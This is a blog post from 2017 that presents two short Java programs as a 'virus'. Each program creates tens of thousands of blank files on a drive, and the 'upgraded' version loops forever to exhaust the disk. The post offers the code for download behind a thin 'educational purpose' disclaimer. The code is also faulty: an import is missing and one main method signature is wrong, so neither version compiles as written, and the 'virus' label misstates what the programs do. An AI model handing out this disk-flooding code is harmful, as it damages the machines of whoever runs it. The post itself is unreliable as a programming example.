Trending
Loading...
Wednesday, 8 March 2017

Create a simple virus using java













What's my idea

Before we start talking how we will create a simple flooder virus using java we must be clear about what is  the idea and how to implement it.
So the idea is to create a program which will create  thousands of blank files in a drive you will don't believe but it could create file with  a speed of   1060+ files per second .

How to implement it

Now the problem is how we would do this??
So here is the answer . 
  • First of all we will design a loop which will run N number of times where N is the number of files which we want to create.
  • Then we will create a new File with the help of createNewFile() function of java.io.File class.
  • The name of each file is the value of the variable which is used in the loop.
Here is the sample virus program.


/**

 * **********This virus program is just for educational purpose 

 * author will not be responsible for any issues **************

 * 

 * @author (Shashank sahu) 

 * This program is a virus program and creates N empty files in your system

 */
 import java.io.File;
class Virus
{
    public static void main(String args[])throws IOException
    {
        int i=0;
      int numOfFiles=50000;// files to be created

        while(i<=numOfFiles)
        {
        File f=new File("D:/"+i+".txt"); // creates file in D:/ drive
        f.createNewFile();// creates new file
        i++;
      }// closing of while loop
    }
}

Note you can also change the path from "D:/" to any other drive or folder but the compulsion is that you must have administrative access.

How to upgrade it

You could even make it whole dreadful by allowing it to make infinite files by making few changes in the above program. Here is the code to implement this.


/**

 * **********This virus program is just for educational purpose 

 * author will not be responsible for any issues **************

 * 

 * @author (Shashank sahu) 

 * This program is a virus program and creates N empty files in your system

 */
 import java.io.File;
class Virus
{
    public static void main(String args)throws IOException
    {
        long i=0;
        while(true)// or you can also use   while(i>0) 
        {
        File f=new File("D:/"+i+".txt"); // creates file in D:/ drive
        f.createNewFile();// creates new file
        i++;
      }// closing of while loop
    }
}

Download The Virus Doc Here(it is a .txt File)


Here as the virus program on action








0 comments:

Post a Comment

Copyright © 2012 gogfmj All Right Reserved
Designed by Odd Themes - Published By Blogger Templates20
Back To Top